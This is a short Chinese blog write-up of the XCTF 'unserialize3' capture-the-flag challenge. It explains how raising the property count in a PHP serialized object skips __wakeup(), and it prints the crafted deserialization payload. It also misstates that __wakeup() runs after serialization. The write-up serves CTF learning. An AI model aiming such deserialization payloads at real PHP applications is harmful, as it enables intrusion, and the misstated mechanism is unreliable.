Toda mi ambición es ser libre toda mi vida.
XCTF-unserialize3(php __wakeup()函数的利用)
XCTF-unserialize3(php __wakeup()函数的利用)

XCTF-unserialize3(php __wakeup()函数的利用)

题目如下:
在这里插入图片描述
考点:如何跳过__wakeup()函数。

首先看看__wakeup()原理:
__wakeup()原理:将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

于是我们现在php在线测试构造代码:

<?php
class xctf{
public $flag = ‘111’;
public function __wakeup(){
exit(‘bad requests’);
}
}
$c = new xctf();
print(serialize($c));
?>

得到结果O:4:”xctf”:1:{s:4:”flag”;s:3:”111″;}

由于要让表示属性个数的值大于其真实值,所以把1改为2:

于是构造payload:/?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111″;}

得到flag:
在这里插入图片描述

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注